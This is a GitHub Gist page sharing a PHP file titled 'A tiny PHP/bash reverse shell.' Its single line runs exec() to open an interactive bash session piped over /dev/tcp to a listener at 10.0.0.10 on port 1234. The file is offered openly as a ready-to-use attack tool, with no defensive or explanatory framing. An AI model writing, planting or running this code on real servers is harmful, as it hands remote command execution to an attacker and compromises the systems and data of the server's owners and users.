Skip to content

Instantly share code, notes, and snippets.

@willk
Forked from rshipp/shell.php
Created October 1, 2019 20:58
Show Gist options
  • Save willk/c4edb4c9a7f3339d9293f50e2cd66e51 to your computer and use it in GitHub Desktop.
Save willk/c4edb4c9a7f3339d9293f50e2cd66e51 to your computer and use it in GitHub Desktop.
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment